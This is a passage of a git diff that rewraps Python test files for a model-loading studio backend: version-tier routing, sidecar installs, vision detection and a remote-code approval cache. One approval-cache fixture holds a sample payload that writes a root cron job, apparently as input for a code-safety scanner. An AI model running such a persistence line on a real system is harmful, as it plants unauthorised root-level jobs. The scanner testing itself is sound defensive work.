["Qwen3_5ForConditionalGeneration"]} + { + "model_type": "qwen3_5", + "architectures": ["Qwen3_5ForConditionalGeneration"], + } ) ) assert get_transformers_tier(str(d)) == "550" @@ -1955,10 +2058,13 @@ class TestLocalConfig530Tier: d = tmp_path / "my-llama-ckpt" d.mkdir() (d / "config.json").write_text( - json.dumps({"model_type": "llama", "_name_or_path": "/old/run/qwen3.5-source"}) + json.dumps( + {"model_type": "llama", "_name_or_path": "/old/run/qwen3.5-source"} + ) ) with patch( - "utils.transformers_version._check_tokenizer_config_needs_v5", return_value = False + "utils.transformers_version._check_tokenizer_config_needs_v5", + return_value = False, ): assert get_transformers_tier(str(d)) == "default" @@ -2009,13 +2115,16 @@ class TestLocalConfig530Tier: ) ) with patch( - "utils.transformers_version._check_tokenizer_config_needs_v5", return_value = False + "utils.transformers_version._check_tokenizer_config_needs_v5", + return_value = False, ): # "qwen3.5" is in the path but config says llama and _name_or_path # is self-referencing — must not be promoted to 530. assert get_transformers_tier(str(d)) == "default" - def test_hf_id_fallback_not_triggered_when_name_or_path_is_absolute_self(self, tmp_path: Path): + def test_hf_id_fallback_not_triggered_when_name_or_path_is_absolute_self( + self, tmp_path: Path + ): """_name_or_path == absolute path of the same checkpoint while model_name is a relative path: the two strings differ, but both point to the same directory. The absolute path must not be scanned for tier substrings.""" @@ -2031,7 +2140,8 @@ class TestLocalConfig530Tier: ) ) with patch( - "utils.transformers_version._check_tokenizer_config_needs_v5", return_value = False + "utils.transformers_version._check_tokenizer_config_needs_v5", + return_value = False, ): # Even though str(d) contains "qwen3.5", the local-dir branch recurses # into config checks on the resolved path, which returns default. @@ -2204,7 +2314,9 @@ class TestResolveBaseModelNameOrPathFallback: # model_name is not the local path, so it wins assert _resolve_base_model(str(d)) == "unsloth/Qwen3.5-7B-bnb-4bit" - def test_tier_resolved_via_name_or_path_when_model_name_self_refs(self, tmp_path: Path): + def test_tier_resolved_via_name_or_path_when_model_name_self_refs( + self, tmp_path: Path + ): """End-to-end: get_transformers_tier picks up the sidecar tier from _name_or_path even when model_name is set to the checkpoint's own path.""" d = tmp_path / "my-custom-finetune" @@ -2220,7 +2332,9 @@ class TestResolveBaseModelNameOrPathFallback: ) assert get_transformers_tier(str(d)) == "530" - def test_local_config_tier_not_bypassed_by_private_name_or_path(self, tmp_path: Path): + def test_local_config_tier_not_bypassed_by_private_name_or_path( + self, tmp_path: Path + ): """Full checkpoint with model_type: qwen3_5 must still route to 530 even when _name_or_path is a private HF ID with no recognisable tier substring. @@ -2419,7 +2533,8 @@ class TestMalformedInputRobustness: json.dumps({"model_type": ["qwen3_5"], "_name_or_path": {"x": 1}}) ) with patch( - "utils.transformers_version._check_tokenizer_config_needs_v5", return_value = False + "utils.transformers_version._check_tokenizer_config_needs_v5", + return_value = False, ): assert get_transformers_tier(str(d)) == "default" @@ -2514,7 +2629,9 @@ class TestHfEndpointUnreachable: import urllib.error def _405(*a, **k): - raise urllib.error.HTTPError("http://x", 405, "Method Not Allowed", {}, None) + raise urllib.error.HTTPError( + "http://x", 405, "Method Not Allowed", {}, None + ) monkeypatch.setattr("urllib.request.urlopen", _405) assert hf_endpoint_unreachable(timeout = 2) is False @@ -2535,7 +2652,9 @@ class TestHfEndpointUnreachable: import urllib.error def _dns(*a, **k): - raise urllib.error.URLError(socket.gaierror(-2, "Name or service not known")) + raise urllib.error.URLError( + socket.gaierror(-2, "Name or service not known") + ) monkeypatch.setattr("urllib.request.urlopen", _dns) assert hf_endpoint_unreachable(timeout = 2) is True @@ -2575,7 +2694,9 @@ class TestLatestTierActiveFor: import utils.transformers_version as tv self._pin(monkeypatch, tv) for tier in ("default", "530", "550", "510"): - monkeypatch.setattr(tv, "get_transformers_tier", lambda *a, _t = tier, **k: _t) + monkeypatch.setattr( + tv, "get_transformers_tier", lambda *a, _t = tier, **k: _t + ) assert tv.latest_tier_active_for("some/model") is False def test_false_without_pin_and_no_resolution(self, monkeypatch): @@ -2605,10 +2726,14 @@ class TestLatestTierActiveFor: import utils.transformers_version as tv monkeypatch.setattr(tv, "latest_venv_pinned_version", lambda: "5.13.1") - monkeypatch.setattr(tv, "_remote_lora_base", lambda name, hf_token = None: "Zyphra/ZAYA1-8B") + monkeypatch.setattr( + tv, "_remote_lora_base", lambda name, hf_token = None: "Zyphra/ZAYA1-8B" + ) tiers = {"Zyphra/ZAYA1-8B": "latest"} monkeypatch.setattr( - tv, "get_transformers_tier", lambda name, *a, **k: tiers.get(name, "default") + tv, + "get_transformers_tier", + lambda name, *a, **k: tiers.get(name, "default"), ) assert tv.latest_tier_active_for("someuser/zaya-lora") is True @@ -2625,7 +2750,9 @@ class TestLatestTierActiveFor: monkeypatch.setattr(tv, "_resolve_base_model", lambda name: "base/model") tiers = {"base/model": "default", str(adapter): "latest"} monkeypatch.setattr( - tv, "get_transformers_tier", lambda name, *a, **k: tiers.get(name, "default") + tv, + "get_transformers_tier", + lambda name, *a, **k: tiers.get(name, "default"), ) assert tv.latest_tier_active_for(str(adapter)) is True @@ -2739,12 +2866,16 @@ class TestLatestTierForces16Bit: def test_start_routes_refuse_during_install(self): # A worker spawned mid-swap could activate a half-replaced sidecar. training = self._read("routes/training.py") - start = training.split("async def start_training", 1)[1].split("\nasync def ", 1)[0] + start = training.split("async def start_training", 1)[1].split( + "\nasync def ", 1 + )[0] assert ( "is_install_in_progress" in start ), "training /start must refuse while a transformers install is in progress" export = self._read("routes/export.py") - helper = export.split("def _ensure_export_supported", 1)[1].split("\ndef ", 1)[0] + helper = export.split("def _ensure_export_supported", 1)[1].split("\ndef ", 1)[ + 0 + ] assert ( "is_install_in_progress" in helper ), "mutating export routes must refuse while a transformers install is in progress" @@ -2766,15 +2897,21 @@ class TestLatestTierForces16Bit: assert training.index("self._spawn_in_progress = True") < training.index( "if sidecar_swap_in_progress():" ) - active = training.split("def is_training_active", 1)[1].split("\n def ", 1)[0] + active = training.split("def is_training_active", 1)[1].split("\n def ", 1)[ + 0 + ] assert "_spawn_in_progress" in active # Export load-checkpoint refuses BEFORE tearing down the old worker, so a # lost race against an install keeps the loaded checkpoint (no bare 500). loadck = export.split("def load_checkpoint", 1)[1].split("\n def ", 1)[0] - assert loadck.index("sidecar_swap_in_progress()") < loadck.index("_shutdown_subprocess()") + assert loadck.index("sidecar_swap_in_progress()") < loadck.index( + "_shutdown_subprocess()" + ) # The training handshake precedes the VRAM-freeing before_spawn hook, so # losing the race never tears down chat/export for a run that won't spawn. - assert training.index("self._spawn_in_progress = True") < training.index("before_spawn()") + assert training.index("self._spawn_in_progress = True") < training.index( + "before_spawn()" + ) # The spawn-time export check is op-aware for installs (the install side # aborts on is_export_active) but always refuses for repairs, which have # no such abort and can be rebuilding the sidecar right now. @@ -2876,7 +3013,9 @@ class TestSidecarSwapReservation: os.utime(lock, (old_ts, old_ts)) assert tv.sidecar_swap_in_progress() is False - def test_repair_refused_while_install_holds_reservation(self, monkeypatch, tmp_path): + def test_repair_refused_while_install_holds_reservation( + self, monkeypatch, tmp_path + ): tv = self._repair_setup(monkeypatch, tmp_path) def _must_not_run(*a, **k): @@ -2938,7 +3077,9 @@ class TestCachedLatestMappingRevalidated: def test_broken_sidecar_drops_cached_latest_mapping(self, monkeypatch): import utils.transformers_version as tv - monkeypatch.setattr(tv, "_config_mapping_cache", {"latest": frozenset({"brandnew"})}) + monkeypatch.setattr( + tv, "_config_mapping_cache", {"latest": frozenset({"brandnew"})} + ) monkeypatch.setattr(tv, "_latest_sidecar_intact", lambda: False) seen = {"n": 0} @@ -2954,12 +3095,16 @@ class TestCachedLatestMappingRevalidated: def test_intact_sidecar_serves_cached_latest_mapping(self, monkeypatch): import utils.transformers_version as tv - monkeypatch.setattr(tv, "_config_mapping_cache", {"latest": frozenset({"brandnew"})}) + monkeypatch.setattr( + tv, "_config_mapping_cache", {"latest": frozenset({"brandnew"})} + ) monkeypatch.setattr(tv, "_latest_sidecar_intact", lambda: True) monkeypatch.setattr( tv, "_overlay_transformers_dir", - lambda tier: pytest.fail("intact sidecar must serve the cache without re-resolving"), + lambda tier: pytest.fail( + "intact sidecar must serve the cache without re-resolving" + ), ) assert tv._config_model_types("latest") == frozenset({"brandnew"}) @@ -2970,7 +3115,9 @@ class TestCachedLatestMappingRevalidated: monkeypatch.setattr( tv, "_latest_sidecar_intact", - lambda: pytest.fail("non-latest tiers must not pay the sidecar-intact check"), + lambda: pytest.fail( + "non-latest tiers must not pay the sidecar-intact check" + ), ) assert tv._config_model_types("530") == frozenset({"gemma3"}) @@ -2982,7 +3129,9 @@ class TestCachedLatestMappingRevalidated: monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / "venv_t5_latest")) monkeypatch.setattr(tv, "_latest_tier_disabled", lambda: False) - monkeypatch.setattr(tv, "_config_mapping_cache", {"latest": frozenset({"brandnew"})}) + monkeypatch.setattr( + tv, "_config_mapping_cache", {"latest": frozenset({"brandnew"})} + ) # No pin marker on disk -> _latest_pin_data() is None -> not intact. assert tv._latest_sidecar_intact() is False assert tv._config_model_types("latest") == frozenset() @@ -3005,7 +3154,10 @@ class TestOverlayRepairsIncompleteSidecar: monkeypatch.setattr( tv, "_latest_pin_data", - lambda: {"version": "5.99.0", "packages": ["transformers==5.99.0", "tiktoken"]}, + lambda: { + "version": "5.99.0", + "packages": ["transformers==5.99.0", "tiktoken"], + }, ) monkeypatch.setattr(tv, "_venv_dir_is_valid", lambda d, p: valid) monkeypatch.setattr(tv, "_latest_repair_failed_at", 0.0) @@ -3139,7 +3291,9 @@ class TestRaiseTierForNested: def test_nested_latest_only_type_raises(self, monkeypatch): import utils.transformers_version as tv - self._patch_types(monkeypatch, {"550": {"gemma4"}, "latest": {"gemma4", "brandnew_arch"}}) + self._patch_types( + monkeypatch, {"550": {"gemma4"}, "latest": {"gemma4", "brandnew_arch"}} + ) cfg = {"model_type": "gemma4", "text_config": {"model_type": "brandnew_arch"}} assert tv._raise_tier_for_nested(cfg, "550") == "latest" @@ -3170,7 +3324,9 @@ class TestRaiseTierForNested: self._patch_types(monkeypatch, {"550": {"gemma4"}, "latest": {"brandnew_arch"}}) monkeypatch.setattr(tv, "_tier_from_name", lambda name: ("550", "gemma-4")) monkeypatch.setattr( - tv, "_load_config_json", lambda name, tok = None: {"model_type": "brandnew_arch"} + tv, + "_load_config_json", + lambda name, tok = None: {"model_type": "brandnew_arch"}, ) monkeypatch.setattr(tv, "latest_venv_pinned_version", lambda: "5.99.0") assert tv.get_transformers_tier("org/gemma-4-new", probe = False) == "latest" @@ -3178,7 +3334,9 @@ class TestRaiseTierForNested: monkeypatch.setattr( tv, "_load_config_json", - lambda name, tok = None: (_ for _ in ()).throw(AssertionError("no I/O without a pin")), + lambda name, tok = None: (_ for _ in ()).throw( + AssertionError("no I/O without a pin") + ), ) assert tv.get_transformers_tier("org/gemma-4-new", probe = False) == "550" @@ -3190,9 +3348,13 @@ class TestRaiseTierForNested: ckpt = tmp_path / "wrapper" ckpt.mkdir() (ckpt / "config.json").write_text( - json.dumps({"model_type": "gemma4", "text_config": {"model_type": "brandnew_arch"}}) + json.dumps( + {"model_type": "gemma4", "text_config": {"model_type": "brandnew_arch"}} + ) + ) + self._patch_types( + monkeypatch, {"550": {"gemma4"}, "latest": {"gemma4", "brandnew_arch"}} ) - self._patch_types(monkeypatch, {"550": {"gemma4"}, "latest": {"gemma4", "brandnew_arch"}}) monkeypatch.setattr(tv, "_config_needs_510", lambda cfg: False) monkeypatch.setattr(tv, "_config_needs_550", lambda cfg: True) assert tv.get_transformers_tier(str(ckpt), probe = False) == "latest" diff --git a/studio/backend/tests/test_trc_approval_cache.py b/studio/backend/tests/test_trc_approval_cache.py index f4a85fee5d..ddd177e076 100644 --- a/studio/backend/tests/test_trc_approval_cache.py +++ b/studio/backend/tests/test_trc_approval_cache.py @@ -22,7 +22,9 @@ _HIGH = { ) } _HIGH2 = { # a different HIGH payload -> different fingerprint - "modeling_persist.py": ("open('/etc/cron.d/x', 'w').write('* * * * * root sh -c id')\n") + "modeling_persist.py": ( + "open('/etc/cron.d/x', 'w').write('* * * * * root sh -c id')\n" + ) } _CRITICAL = { "modeling_evil.py": ( @@ -93,7 +95,12 @@ def _approve( def test_store_roundtrip_and_forget(): approvals.record( - "u", "k", commit_sha = "s", fingerprint = "f", max_severity = "HIGH", scanner_version = 1 + "u", + "k", + commit_sha = "s", + fingerprint = "f", + max_severity = "HIGH", + scanner_version = 1, ) got = approvals.lookup("u", "k") assert got is not None and got.fingerprint == "f" and got.scanner_version == 1 @@ -115,7 +122,9 @@ def test_concurrent_records_do_not_lose_entries(): import threading def rec(i): - approvals.record("u", f"k{i}", commit_sha = "s", fingerprint = f"f{i}", max_severity = "HIGH") + approvals.record( + "u", f"k{i}", commit_sha = "s", fingerprint = f"f{i}", max_severity = "HIGH" + ) threads = [threading.Thread(target = rec, args = (i,)) for i in range(20)] for t in threads: @@ -128,7 +137,9 @@ def test_concurrent_records_do_not_lose_entries(): def test_combined_sha_none_when_any_unresolvable(monkeypatch): monkeypatch.setattr( - approvals, "resolve_commit_sha", lambda t, hf = None: None if t == "org/base" else "s" + approvals, + "resolve_commit_sha", + lambda t, hf = None: None if t == "org/base" else "s", ) assert approvals.resolve_combined_sha(["org/a", "org/base"]) is None assert approvals.resolve_combined_sha(["org/a"]) is not None @@ -155,7 +166,10 @@ def test_malformed_store_shape_fails_safe(): # never crash lookup/record/forget. store = approvals._store_path() store.parent.mkdir(parents = True, exist_ok = True) - for bad in ('{"version": 1, "subjects": []}', '{"version": 1, "subjects": {"u": []}}'): + for bad in ( + '{"version": 1, "subjects": []}', + '{"version": 1, "subjects": {"u": []}}', + ): store.write_text(bad) assert approvals.lookup("u", "k") is None # no raise approvals.forget("u", "k") # no raise @@ -176,7 +190,9 @@ def test_cache_miss_prompts(monkeypatch): def test_unchanged_repo_skips_prompt_but_still_scans(monkeypatch): st, _ = _approve(monkeypatch) before = st["scans"] - d = _gate("org/m") # SHA + fingerprint match -> auto-approve, but the scan still runs + d = _gate( + "org/m" + ) # SHA + fingerprint match -> auto-approve, but the scan still runs assert d.blocked is False and d.reason == "approved by fingerprint" assert st["scans"] == before + 1 # cache never skips the scan @@ -184,7 +200,9 @@ def test_unchanged_repo_skips_prompt_but_still_scans(monkeypatch): def test_sha_moved_forces_reprompt(monkeypatch): _approve(monkeypatch, sha = "sha1") monkeypatch.setattr(approvals, "resolve_commit_sha", lambda t, hf = None: "sha2") - d = _gate("org/m") # SHA moved -> seed withheld -> re-prompt even though code is identical + d = _gate( + "org/m" + ) # SHA moved -> seed withheld -> re-prompt even though code is identical assert d.blocked is True @@ -200,7 +218,9 @@ def test_changed_code_same_sha_reprompts(monkeypatch): # Even with the primary SHA unchanged, changed executable code (e.g. an external # auto_map repo) changes the fingerprint, so the dialog returns. _approve(monkeypatch, files = _HIGH, sha = "sha1") - monkeypatch.setattr(consent, "repo_remote_code_files", lambda t, hf_token = None: dict(_HIGH2)) + monkeypatch.setattr( + consent, "repo_remote_code_files", lambda t, hf_token = None: dict(_HIGH2) + ) d = _gate("org/m") assert d.blocked is True @@ -281,7 +301,9 @@ def test_disable_flag_bypasses_cache(monkeypatch): def test_subject_isolation(monkeypatch): _approve(monkeypatch, subject = "user-a") - assert _gate("org/m", subject = "user-a").blocked is False # a: seeded -> auto-approve + assert ( + _gate("org/m", subject = "user-a").blocked is False + ) # a: seeded -> auto-approve assert _gate("org/m", subject = "user-b").blocked is True # b: still prompted diff --git a/studio/backend/tests/test_utils.py b/studio/backend/tests/test_utils.py index 741f19c67a..eba697826b 100644 --- a/studio/backend/tests/test_utils.py +++ b/studio/backend/tests/test_utils.py @@ -96,7 +96,9 @@ class TestGetDevice: patch("utils.hardware.hardware._has_torch", return_value = True), patch("torch.cuda.is_available", return_value = True), patch("torch.cuda.device_count", return_value = 1), - patch("torch.cuda.get_device_properties", side_effect = RuntimeError("probe")), + patch( + "torch.cuda.get_device_properties", side_effect = RuntimeError("probe") + ), ): assert _reset_and_detect() == DeviceType.CUDA assert "" in capsys.readouterr().out @@ -201,7 +203,9 @@ class TestGetGpuMemoryInfo: # --- When a GPU IS available --- - @pytest.mark.skipif(_actual_device() == "cpu", reason = "No GPU available on this machine") + @pytest.mark.skipif( + _actual_device() == "cpu", reason = "No GPU available on this machine" + ) def test_gpu_available_fields(self): result = get_gpu_memory_info() assert result["available"] is True @@ -299,7 +303,9 @@ class TestLogGpuMemory: "free_gb": 14.0, } - with patch("utils.hardware.hardware.get_gpu_memory_info", return_value = fake_info): + with patch( + "utils.hardware.hardware.get_gpu_memory_info", return_value = fake_info + ): log_gpu_memory("unit-test") captured = capfd.readouterr() @@ -310,7 +316,9 @@ class TestLogGpuMemory: def test_logs_cpu_fallback_when_no_gpu(self, capfd): fake_info = {"available": False, "backend": "cpu"} - with patch("utils.hardware.hardware.get_gpu_memory_info", return_value = fake_info): + with patch( + "utils.hardware.hardware.get_gpu_memory_info", return_value = fake_info + ): log_gpu_memory("cpu-test") captured = capfd.readouterr() diff --git a/studio/backend/tests/test_validate_gguf_runtime_message.py b/studio/backend/tests/test_validate_gguf_runtime_message.py index f612cc4a03..d27f9eec11 100644 --- a/studio/backend/tests/test_validate_gguf_runtime_message.py +++ b/studio/backend/tests/test_validate_gguf_runtime_message.py @@ -50,7 +50,9 @@ class TestValidateGgufRuntimeMessage(unittest.TestCase): def test_missing_llama_server_returns_actionable_message(self): route = _load_route_module("inf_route_runtime_msg_1", "routes/inference.py") - err = self._validate(route, "unsloth/Qwen3-1.7B-GGUF", LlamaServerNotFoundError(_GGUF_MSG)) + err = self._validate( + route, "unsloth/Qwen3-1.7B-GGUF", LlamaServerNotFoundError(_GGUF_MSG) + ) self.assertEqual(err.status_code, 400) self.assertIn("unsloth studio setup", err.detail) self.assertIn("llama.cpp runtime", err.detail) @@ -61,7 +63,9 @@ class TestValidateGgufRuntimeMessage(unittest.TestCase): # routed to the GGUF "install the runtime" message. validate_model surfaces a RuntimeError's # own message (#6398), so assert the GGUF install text is absent and the message is intact. route = _load_route_module("inf_route_runtime_msg_2", "routes/inference.py") - err = self._validate(route, "not/a-real-model", RuntimeError("totally different failure")) + err = self._validate( + route, "not/a-real-model", RuntimeError("totally different failure") + ) self.assertEqual(err.status_code, 400) self.assertNotIn("unsloth studio setup", err.detail) self.assertNotIn("llama.cpp runtime", err.detail) @@ -73,32 +77,46 @@ class TestLoadGgufRuntimeMessage(unittest.TestCase): def _load(self, route, model_path, side_effect): request = LoadRequest(model_path = model_path) - backend = MagicMock(active_model_name = None) # no resident model -> reach from_identifier + backend = MagicMock( + active_model_name = None + ) # no resident model -> reach from_identifier with ( patch.object( route, "_resolve_model_identifier_for_request", return_value = (model_path, model_path, False), ), - patch.object(route, "resolve_effective_chat_template_override", return_value = None), + patch.object( + route, "resolve_effective_chat_template_override", return_value = None + ), patch.object(route, "get_inference_backend", return_value = backend), patch.object(route, "get_llama_cpp_backend", return_value = MagicMock()), patch.object(route.ModelConfig, "from_identifier", side_effect = side_effect), ): with self.assertRaises(HTTPException) as exc: - asyncio.run(route.load_model(request, MagicMock(), current_subject = "test-user")) + asyncio.run( + route.load_model(request, MagicMock(), current_subject = "test-user") + ) return exc.exception def test_missing_llama_server_returns_actionable_message(self): - route = _load_route_module("inf_route_load_runtime_msg_1", "routes/inference.py") - err = self._load(route, "unsloth/Qwen3-1.7B-GGUF", LlamaServerNotFoundError(_GGUF_MSG)) + route = _load_route_module( + "inf_route_load_runtime_msg_1", "routes/inference.py" + ) + err = self._load( + route, "unsloth/Qwen3-1.7B-GGUF", LlamaServerNotFoundError(_GGUF_MSG) + ) self.assertEqual(err.status_code, 400) self.assertIn("unsloth studio setup", err.detail) self.assertIn("llama.cpp runtime", err.detail) def test_other_load_errors_still_500(self): - route = _load_route_module("inf_route_load_runtime_msg_2", "routes/inference.py") - err = self._load(route, "unsloth/some-model", RuntimeError("totally different failure")) + route = _load_route_module( + "inf_route_load_runtime_msg_2", "routes/inference.py" + ) + err = self._load( + route, "unsloth/some-model", RuntimeError("totally different failure") + ) self.assertEqual(err.status_code, 500) @@ -114,7 +132,9 @@ class TestLoadPathPropagatesRuntimeError(unittest.TestCase): with self.assertRaises(LlamaServerNotFoundError): asyncio.run( - load_with_tensor_fallback(_attempt, requested_tensor = False, extra_args = None) + load_with_tensor_fallback( + _attempt, requested_tensor = False, extra_args = None + ) ) diff --git a/studio/backend/tests/test_validate_model_error.py b/studio/backend/tests/test_validate_model_error.py index 16edd43f93..6018acde04 100644 --- a/studio/backend/tests/test_validate_model_error.py +++ b/studio/backend/tests/test_validate_model_error.py @@ -105,12 +105,20 @@ def _drive_validate(monkeypatch, *, is_gguf: bool): is_vision = False, gguf_file = None, ) - monkeypatch.setattr(inf.ModelConfig, "from_identifier", staticmethod(lambda **_kw: config)) + monkeypatch.setattr( + inf.ModelConfig, "from_identifier", staticmethod(lambda **_kw: config) + ) # No LoRA base to resolve; keep it offline. - monkeypatch.setattr(mc, "get_base_model_from_lora_identifier", lambda *_a, **_k: None) + monkeypatch.setattr( + mc, "get_base_model_from_lora_identifier", lambda *_a, **_k: None + ) # Both gates WOULD flag this repo (mixed repo with auto_map + an unsafe pickle). - monkeypatch.setattr(inf, "_requires_trust_remote_code_for_model", lambda *_a, **_k: True) - monkeypatch.setattr(inf, "_requires_security_review_for_model", lambda *_a, **_k: True) + monkeypatch.setattr( + inf, "_requires_trust_remote_code_for_model", lambda *_a, **_k: True + ) + monkeypatch.setattr( + inf, "_requires_security_review_for_model", lambda *_a, **_k: True + ) req = ValidateModelRequest(model_path = "org/mixed-repo") return asyncio.run(inf.validate_model(req, current_subject = "tester")) @@ -135,7 +143,9 @@ def test_non_gguf_load_still_runs_trc_and_security_review(monkeypatch): def test_resolve_loaded_trc_prefers_stored_value(): # A value stored at load time wins, so a status refresh does not re-derive it. assert ( - inf._resolve_loaded_trust_remote_code("org/m", {"requires_trust_remote_code": True}, {}) + inf._resolve_loaded_trust_remote_code( + "org/m", {"requires_trust_remote_code": True}, {} + ) is True ) assert ( @@ -149,16 +159,26 @@ def test_resolve_loaded_trc_prefers_stored_value(): def test_resolve_loaded_trc_uses_runtime_and_yaml(): # No stored value: the trust_remote_code the load used, then the YAML default. assert ( - inf._resolve_loaded_trust_remote_code("org/m", {}, {}, trust_remote_code_used = True) is True + inf._resolve_loaded_trust_remote_code( + "org/m", {}, {}, trust_remote_code_used = True + ) + is True + ) + assert ( + inf._resolve_loaded_trust_remote_code("org/m", {}, {"trust_remote_code": True}) + is True ) - assert inf._resolve_loaded_trust_remote_code("org/m", {}, {"trust_remote_code": True}) is True def test_resolve_loaded_trc_falls_back_to_raw_auto_map(monkeypatch): # No stored value or runtime/YAML signal: fall back to the raw auto_map check. - monkeypatch.setattr(inf, "_requires_trust_remote_code_for_model", lambda *_a, **_k: True) + monkeypatch.setattr( + inf, "_requires_trust_remote_code_for_model", lambda *_a, **_k: True + ) assert inf._resolve_loaded_trust_remote_code("org/custom", {}, {}) is True - monkeypatch.setattr(inf, "_requires_trust_remote_code_for_model", lambda *_a, **_k: False) + monkeypatch.setattr( + inf, "_requires_trust_remote_code_for_model", lambda *_a, **_k: False + ) assert inf._resolve_loaded_trust_remote_code("org/plain", {}, {}) is False @@ -183,31 +203,43 @@ def _drive_validate_lora(monkeypatch, *, adapter_needs_trc, base_needs_trc): is_vision = False, gguf_file = None, ) - monkeypatch.setattr(inf.ModelConfig, "from_identifier", staticmethod(lambda **_kw: config)) - monkeypatch.setattr(mc, "get_base_model_from_lora_identifier", lambda *_a, **_k: base) + monkeypatch.setattr( + inf.ModelConfig, "from_identifier", staticmethod(lambda **_kw: config) + ) + monkeypatch.setattr( + mc, "get_base_model_from_lora_identifier", lambda *_a, **_k: base + ) trc = {adapter: adapter_needs_trc, base: base_needs_trc} monkeypatch.setattr( inf, "_requires_trust_remote_code_for_model", lambda target, *_a, **_k: trc.get(target, False), ) - monkeypatch.setattr(inf, "_requires_security_review_for_model", lambda *_a, **_k: False) + monkeypatch.setattr( + inf, "_requires_security_review_for_model", lambda *_a, **_k: False + ) req = ValidateModelRequest(model_path = adapter) return asyncio.run(inf.validate_model(req, current_subject = "tester")) def test_validate_lora_flags_trc_from_adapter_only(monkeypatch): # Adapter ships auto_map, base does not: the requirement follows either repo. - resp = _drive_validate_lora(monkeypatch, adapter_needs_trc = True, base_needs_trc = False) + resp = _drive_validate_lora( + monkeypatch, adapter_needs_trc = True, base_needs_trc = False + ) assert resp.requires_trust_remote_code is True def test_validate_lora_flags_trc_from_base_only(monkeypatch): # The classic case: the base ships custom code, the adapter does not. - resp = _drive_validate_lora(monkeypatch, adapter_needs_trc = False, base_needs_trc = True) + resp = _drive_validate_lora( + monkeypatch, adapter_needs_trc = False, base_needs_trc = True + ) assert resp.requires_trust_remote_code is True def test_validate_lora_clean_when_neither_needs_trc(monkeypatch): - resp = _drive_validate_lora(monkeypatch, adapter_needs_trc = False, base_needs_trc = False) + resp = _drive_validate_lora( + monkeypatch, adapter_needs_trc = False, base_needs_trc = False + ) assert resp.requires_trust_remote_code is False diff --git a/studio/backend/tests/test_vision_cache.py b/studio/backend/tests/test_vision_cache.py index 18b532cc9b..a76e43a6cb 100644 --- a/studio/backend/tests/test_vision_cache.py +++ b/studio/backend/tests/test_vision_cache.py @@ -71,7 +71,9 @@ class TestVisionCacheHitMiss: """Two calls for the same model invoke the uncached fn once.""" assert is_vision_model("org/my-vlm") is True assert is_vision_model("org/my-vlm") is True - mock_uncached.assert_called_once_with("org/my-vlm", None, local_files_only = False) + mock_uncached.assert_called_once_with( + "org/my-vlm", None, local_files_only = False + ) @patch("utils.models.model_config._is_vision_model_uncached", return_value = False) def test_different_models_each_detected(self, mock_uncached): @@ -111,7 +113,9 @@ class TestVisionCacheSubprocessPath: @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None) @patch("utils.models.model_config._is_vision_model_subprocess", return_value = True) @patch("utils.transformers_version.needs_transformers_5", return_value = True) - def test_subprocess_called_once_with_cache(self, mock_needs_t5, mock_subprocess, mock_raw): + def test_subprocess_called_once_with_cache( + self, mock_needs_t5, mock_subprocess, mock_raw + ): """When the raw-config reader is inconclusive (None), the transformers 5.x subprocess fires only on the first call; the second is cached.""" # First call: raw None -> subprocess @@ -149,7 +153,9 @@ class TestLocalGgufVisionDetection: "utils.models.model_config._is_vision_model_subprocess", side_effect = AssertionError("GGUF must not use Transformers vision detection"), ) - def test_qwen36_gguf_with_mmproj_skips_transformers(self, mock_subprocess, tmp_path): + def test_qwen36_gguf_with_mmproj_skips_transformers( + self, mock_subprocess, tmp_path + ): model = tmp_path / "Qwen3.6-27B-UD-Q4_K_XL-MTP.gguf" model.write_bytes(b"") (tmp_path / "mmproj-F32.gguf").write_bytes(b"") @@ -161,7 +167,9 @@ class TestLocalGgufVisionDetection: "utils.models.model_config._is_vision_model_subprocess", side_effect = AssertionError("GGUF must not use Transformers vision detection"), ) - def test_direct_gguf_in_variant_subdir_finds_snapshot_mmproj(self, mock_subprocess, tmp_path): + def test_direct_gguf_in_variant_subdir_finds_snapshot_mmproj( + self, mock_subprocess, tmp_path + ): variant_dir = tmp_path / "BF16" variant_dir.mkdir() model = variant_dir / "Qwen3.6-27B-UD-Q4_K_XL-MTP.gguf" @@ -175,7 +183,9 @@ class TestLocalGgufVisionDetection: "utils.models.model_config._is_vision_model_subprocess", side_effect = AssertionError("GGUF must not use Transformers vision detection"), ) - def test_qwen36_gguf_without_mmproj_skips_transformers(self, mock_subprocess, tmp_path): + def test_qwen36_gguf_without_mmproj_skips_transformers( + self, mock_subprocess, tmp_path + ): model = tmp_path / "Qwen3.6-27B-UD-Q4_K_XL-MTP.gguf" model.write_bytes(b"") @@ -280,7 +290,9 @@ class TestVisionCacheDirectPath: @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None) @patch("utils.transformers_version.needs_transformers_5", return_value = False) @patch("utils.models.model_config.load_model_config") - def test_direct_vlm_detection_cached(self, mock_load_config, mock_needs_t5, mock_raw): + def test_direct_vlm_detection_cached( + self, mock_load_config, mock_needs_t5, mock_raw + ): """A standard VLM detected via architecture suffix should be cached.""" cfg = MagicMock(spec = []) # strict: only explicitly set attrs exist cfg.model_type = "gemma3" @@ -295,7 +307,9 @@ class TestVisionCacheDirectPath: @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None) @patch("utils.transformers_version.needs_transformers_5", return_value = False) @patch("utils.models.model_config.load_model_config") - def test_direct_non_vlm_detection_cached(self, mock_load_config, mock_needs_t5, mock_raw): + def test_direct_non_vlm_detection_cached( + self, mock_load_config, mock_needs_t5, mock_raw + ): """A standard text model (no VLM indicators) should cache False.""" cfg = MagicMock(spec = []) # spec=[] means no attributes at all cfg.model_type = "llama" @@ -327,7 +341,9 @@ class TestVisionCacheDirectPath: @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None) @patch("utils.transformers_version.needs_transformers_5", return_value = False) @patch("utils.models.model_config.load_model_config") - def test_gemma4_model_type_detected_and_cached(self, mock_load_config, mock_needs_t5, mock_raw): + def test_gemma4_model_type_detected_and_cached( + self, mock_load_config, mock_needs_t5, mock_raw + ): cfg = MagicMock(spec = []) cfg.model_type = "gemma4" cfg.architectures = ["Gemma4ForConditionalGeneration"] @@ -370,7 +386,9 @@ class TestVisionCacheDirectPath: @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None) @patch("utils.transformers_version.needs_transformers_5", return_value = False) @patch("utils.models.model_config.load_model_config") - def test_audio_model_excluded_and_cached(self, mock_load_config, mock_needs_t5, mock_raw): + def test_audio_model_excluded_and_cached( + self, mock_load_config, mock_needs_t5, mock_raw + ): """Audio-only models (csm, whisper) with ForConditionalGeneration should 